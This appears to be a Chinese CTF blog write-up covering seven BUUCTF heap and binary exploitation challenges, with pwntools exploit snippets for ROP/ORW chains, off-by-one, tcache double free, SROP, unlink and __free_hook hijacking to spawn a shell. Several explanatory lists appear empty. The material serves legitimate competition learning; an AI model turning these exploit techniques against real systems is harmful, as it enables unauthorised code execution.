作为一名长期活跃在CTF赛场的二进制安全研究员,我经常被问到如何系统性地学习堆漏洞利用技术。今天,我将通过7道BUUCTF平台上的经典题目,带大家深入理解堆管理机制和常见漏洞利用手法。这些题目覆盖了从基础到进阶的各种堆漏洞类型,特别适合刚入门二进制安全的同学。
在开始之前,我需要强调:本文所有技术内容仅用于合法授权的安全测试和CTF竞赛,请勿用于非法用途。我们鼓励白帽精神,共同维护网络安全环境。
这道题目展示了最基本的ROP技术应用场景。我们先检查程序保护机制:
bash复制checksec --file=vn_pwn_warmup
发现程序开启了NX保护,但未启用PIE和栈保护。这意味着我们可以使用ROP技术,但需要注意以下几点:
关键利用代码如下:
python复制from pwn import *
context.arch='amd64'
p = remote("node5.buuoj.cn",25103)
libc = ELF('./libc-2.23.so')
# 泄露libc地址
ru(b'0x')
libc.address = int(rv(12),16) - libc.sym.puts
# 构建ORW ROP链
rop_chain = [
libc.address + 0x0000000000021102, # pop rdi; ret
0, # fd = stdin
libc.address + 0x00000000001150c9, # pop rdx; pop rsi; ret
0x8, # length
libc.address + 0x3c5720 + 0x200, # buffer
libc.sym.read, # read(0, buf, 8)
# ... 后续open/read/write调用
]
# 发送ROP链并触发
payload = flat(rop_chain).ljust(0x180,b'a')
sd(payload)
技术要点:
这道题展示了经典的off-by-one漏洞利用。我们先分析程序功能:
利用步骤:
关键代码片段:
python复制# 创建初始chunk
add(0x68, b'a') # chunk 0
add(0x68, b'a') # chunk 1
# 利用off-by-one修改size
edit(0, b'a'*0x68 + p8(0xf1)) # 修改chunk1的size为0xf1
# 释放并重新申请
free(1)
add(0x68, b'a') # 重新申请chunk1
# 现在可以读取包含libc地址的chunk
show(2)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3c4b78
注意事项:
这道题展示了tcache机制的利用方式。程序限制:
利用思路:
关键步骤代码:
python复制# Double free制造tcache循环
add(0x50) # chunk 0
free(0)
free(0) # double free
# 泄露tcache结构体地址
show(0)
tcache_struct = u64(p.recv(6).ljust(8,b'\x00')) - 0x260
# 修改tcache count
add(0x50) # chunk 1
edit(1, p64(tcache_struct + 0x10))
add(0x50) # chunk 2
add(0x50) # chunk 3 (实际是tcache结构体)
edit(3, b'\xff'*0x28) # 修改count为很大值
技术细节:
这道题使用了SROP(Sigreturn Oriented Programming)技术。SROP利用了Linux的信号处理机制,通过伪造signal frame来实现强大的控制能力。
利用步骤:
关键代码:
python复制# 构造signal frame
frame = SigreturnFrame()
frame.rdi = 0 # fd = stdin
frame.rsi = libc.address + 0x3c5720 + 0x400 # buffer
frame.rdx = 0x100 # length
frame.rip = libc.sym.read # 调用read
frame.rsp = libc.address + 0x3c5720 + 0x408 # 新的栈指针
# 发送payload
payload = bytes(frame)[8:] # 去掉前8字节的uc_flags
ru(b'Please input magic message: ')
sd(payload)
技术要点:
这道题结合了格式化字符串漏洞和堆漏洞。程序特点:
利用思路:
关键步骤:
python复制# 泄露地址
sl(b'%14$p%15$p')
ru(b'0x')
pie_base = int(p.recv(12),16) - 0x1200
ru(b'0x')
libc_base = int(p.recv(12),16) - 0x20830
# 构造unlink
add(0, 0x98, p64(0) + p64(0x91) + p64(pie_base + 0x202060 - 0x18) + p64(pie_base + 0x202060 - 0x10))
add(1, 0x98, b'a')
edit(0, b'a'*0x90 + p64(0x90) + b'\xa0') # off-by-one
free(1) # 触发unlink
注意事项:
这道题展示了二进制中浮点数表示的特殊性。通过发送特定的浮点数值,可以绕过程序的检查机制。
关键payload:
python复制payload = b'a'*24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.sendline(payload)
技术解析:
这道题展示了libc-2.27下的tcache double free利用。由于2.27版本没有对tcache的double free检查,可以直接利用。
利用步骤:
关键代码:
python复制# 泄露libc
add(0x410, b'a', b'a') # 进入unsorted bin
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3ebca0
# tcache dup
free(1)
free(1) # double free
# 劫持free_hook
add(0x20, p64(libc_base + libc.sym.__free_hook), b'a')
add(0x20, b'a', b'a')
add(0x20, p64(libc_base + libc.sym.system), b'a')
free(2) # 触发system("/bin/sh")
防御措施:
通过这7道题目,我们可以总结出堆漏洞利用的几个核心技术点:
在实际的漏洞利用过程中,有几个关键点需要特别注意:
想要深入二进制安全领域,我推荐以下学习路径:
基础理论:
实战平台:
工具掌握:
进阶研究:
在多年的二进制安全研究中,我总结了以下几点经验:
记住,成为二进制安全专家没有捷径,需要大量的实践和积累。希望这篇文章能为你的学习之路提供一些帮助。如果遇到任何问题,欢迎在评论区交流讨论。